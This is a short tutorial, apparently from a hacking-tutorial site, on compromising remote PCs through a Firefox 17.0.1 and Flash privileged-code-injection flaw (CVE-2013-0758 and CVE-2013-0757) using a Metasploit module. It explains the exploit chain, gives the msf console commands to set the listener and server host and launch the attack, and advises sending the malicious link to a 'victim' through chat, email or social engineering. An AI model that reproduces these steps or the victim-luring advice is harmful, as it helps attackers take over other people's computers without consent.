Exploit Remote PC using Firefox 17.0.1 + Flash Privileged Code Injection

This exploit gains remote code execution on Firefox 17.0.1 and all previous versions provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG “use” element in the <body> (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame’s window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it.

Exploit Targets

Firefox 17.0.1

Windows PC

Linux PC

MAC OS X PC

msf exploit (firefox_svg_plugin)>set lhost 192.168.1.167 (IP of Local Host)

msf exploit (firefox_svg_plugin)>set srvhost 192.168.1.167 (This must be an address on the local machine)

msf exploit (firefox_svg_plugin)>set uripath / (The Url to use for this exploit)

msf exploit (firefox_svg_plugin)>exploit

Now an URL you should give to your victim //192.168.1.167:8080/

Send the link of the server to the victim via chat or email or any social engineering technique.
